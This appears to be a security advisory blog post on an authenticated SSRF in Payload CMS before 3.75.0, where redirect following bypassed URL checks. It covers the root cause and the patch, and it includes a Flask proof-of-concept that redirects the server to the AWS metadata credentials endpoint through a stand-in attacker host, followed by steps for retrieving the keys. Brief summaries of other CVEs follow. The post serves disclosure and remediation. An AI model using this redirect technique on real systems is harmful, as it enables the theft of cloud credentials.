Feb 25, 2026·6 min read·38 visits
Authenticated SSRF in Payload CMS < 3.75.0 via the 'Upload from URL' feature. The application validated the initial URL but automatically followed HTTP redirects (302) to restricted internal targets (like 169.254.169.254). Fixed by implementing manual redirect handling.
Payload CMS, a darling of the headless CMS world, recently patched a Server-Side Request Forgery (SSRF) vulnerability that perfectly illustrates why trusting HTTP clients to 'do the right thing' is a dangerous game. The flaw lay in the 'Upload from URL' feature—a convenient tool for content editors that inadvertently became a proxy for attackers to tour the internal network. While the system diligently checked the initial URL for safety, it failed to account for the HTTP client's enthusiasm for following redirects. This allowed authenticated attackers to bypass allowlists and access local services or cloud metadata by simply bouncing the request through a malicious server.
Modern Content Management Systems (CMS) are expected to be more than just text editors; they are media hubs. Payload CMS is no exception, offering a slick 'Upload from URL' feature. This allows an editor to paste a link to an image hosted elsewhere, and the server dutifully fetches it, processes it, and stores it. It's a standard feature, but from a security perspective, it's a loaded gun.
Functionally, this turns the CMS server into a proxy. If I tell the server to fetch http://google.com/logo.png, it acts on my behalf. The security risk here is obvious: what if I tell it to fetch http://localhost:27017 (MongoDB) or http://169.254.169.254 (AWS Metadata)?
Payload's developers aren't amateurs; they knew this. They implemented checks to ensure the user-provided URL didn't point to private IP ranges. They checked the ID at the door. The problem, as is often the case in SSRF vulnerabilities, wasn't the front door—it was the side entrance that the HTTP client happily opened automatically.
The vulnerability stems from a classic disconnect between application logic and library behavior. The getExternalFile.ts utility was responsible for vetting the URL. It would take the user input, run it through an allowlist or a 'safe fetch' validator (checking for private IPs), and if it passed, it handed the URL off to the HTTP client (likely undici or the native Node.js fetch).
Here lies the logic error: Time-of-Check to Time-of-Use (TOCTOU) via protocol behavior. The validation happened once on the initial input. However, standard HTTP clients are designed to be helpful. When they receive a 301 Moved Permanently or 302 Found response, they automatically follow the Location header to the new destination.
Crucially, the HTTP client does not call back to the application logic to ask, "Hey, this new URL points to 127.0.0.1, is that cool?" It just goes there. The application validated the request to attacker.com, but the actual HTTP transaction ended up hitting localhost. The validation logic was effectively bypassed because it only vetted the ticket, not the destination of the train.
The fix provided in commit 1041bb6 is a textbook example of how to handle untrusted URLs correctly in a backend environment. The developers couldn't just rely on the default fetch behavior anymore.
The Vulnerable Logic (Conceptual):
// Pseudocode of the failure pattern
if (isSafe(url)) {
// The client follows redirects automatically by default
const response = await fetch(url);
saveFile(response);
}The Hardened Logic:
The patch introduces manual redirect handling. Instead of letting fetch drive, the code now explicitly grabs the wheel. It sets redirect: 'manual' and implements a loop to process hops one by one.
// Simplified representation of the fix
let currentUrl = initialUrl;
let response;
const maxRedirects = 3;
for (let i = 0; i <= maxRedirects; i++) {
// 1. Validate the CURRENT url before every single hop
if (!isSafe(currentUrl)) {
throw new Error('Forbidden URL');
}
// 2. Fetch with manual redirect handling
response = await fetch(currentUrl, { redirect: 'manual' });
// 3. Check if we are done or need to follow a redirect
if (response.status >= 300 && response.status < 400) {
const location = response.headers.get('location');
// Construct new URL and loop again to validate it
currentUrl = new URL(location, currentUrl).toString();
continue;
}
break; // Not a redirect, we are done
}This approach ensures that every link in the chain is subjected to the same security scrutiny as the first one. It effectively kills the redirect bypass technique.
Exploiting this requires an authenticated account with permission to create items in a collection that has uploads enabled. Once inside, the attack chain is trivial but effective.
Step 1: The Setup
We need a malicious server that acts as a pivot. A simple Python Flask script will do the job:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious_redirect():
# Redirect the backend to its own metadata service
return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)Step 2: The Trigger
http://attacker-controlled.com/image.png.Step 3: Execution
Payload's server sees attacker-controlled.com. It checks the IP. It's a public IP. Access granted.
The server connects to our Python script. Our script replies: "Go to 169.254.169.254."
The Payload server, running the vulnerable code, obediently follows the redirect to the AWS metadata service.
It downloads the JSON response containing IAM credentials and saves it as image.png.
Step 4: The Loot
We simply download the "image" from the CMS. Opening it in a text editor reveals the AWS keys. Game over.
While this vulnerability scores a 'Medium' (6.5) on CVSS because it requires authentication, do not let that lull you into a false sense of security. In many organizations, 'Content Editor' accounts are widely distributed and less protected than 'Admin' accounts.
Cloud Compromise: If the CMS is hosted on AWS, GCP, or Azure, this SSRF is a direct path to the Instance Metadata Service (IMDS). Unless IMDSv2 (which requires session tokens) is strictly enforced, an attacker can steal temporary credentials and escalate privileges into the cloud environment.
Internal Reconnaissance: The attacker can use the CMS to port scan the internal network. By timing how long the server takes to respond (or fail), they can map out internal services—identifying Redis instances, databases, or internal admin panels that were never meant to see the internet.
Data Exfiltration: If there are unprotected internal APIs (e.g., an Elasticsearch cluster with no auth on port 9200), the attacker can query them and download sensitive organizational data, all masquerading as valid file uploads.
The remediation is straightforward: Update to Payload CMS v3.75.0 immediately. The patch introduces the manual redirect handling logic discussed above.
If you cannot patch right now, you must disable the feature vector. You can disable external file uploads in your collection configuration:
// payload.config.ts
export const MediaCollection = {
slug: 'media',
upload: {
// This kills the feature, but also kills the vulnerability
disableExternalFile: true,
},
}Additionally, this is a stark reminder to implement Defense in Depth. Your application servers should not have unrestricted outbound network access. Use egress filtering (firewalls) to block your application servers from talking to private IP ranges (RFC 1918) and cloud metadata IPs (169.254.169.254) unless explicitly required.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Payload CMS Payload | < 3.75.0 | 3.75.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS Score | 6.5 (Medium) |
| Impact | Confidentiality, Integrity |
| Permissions | Authenticated (Create Access) |
| Status | Patched |
Server-Side Request Forgery (SSRF) occurs when a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.
A critical SQL injection vulnerability exists in the GeoTools open-source Java library. This vulnerability is situated within the post-processing phase of OGC Filter conversion inside the PostGIS DataStore module. Specifically, the `jsonArrayContains` function does not validate or sanitize its arguments before constructing PostgreSQL SQL/JSON path evaluation queries. An unauthenticated remote attacker can exploit this weakness by submitting crafted filters via standard OGC services like WFS or WMS to execute arbitrary SQL commands on the underlying database system.
CVE-2026-61824 is a high-severity Cross-Site Scripting (XSS) vulnerability in kepano/defuddle before version 0.19.1. Custom site extractors for platforms such as X/Twitter, Substack, and YouTube constructed HTML representations via template string interpolation without output escaping. This allowed malicious pages to bypass standard parser sanitization routines and execute arbitrary JavaScript.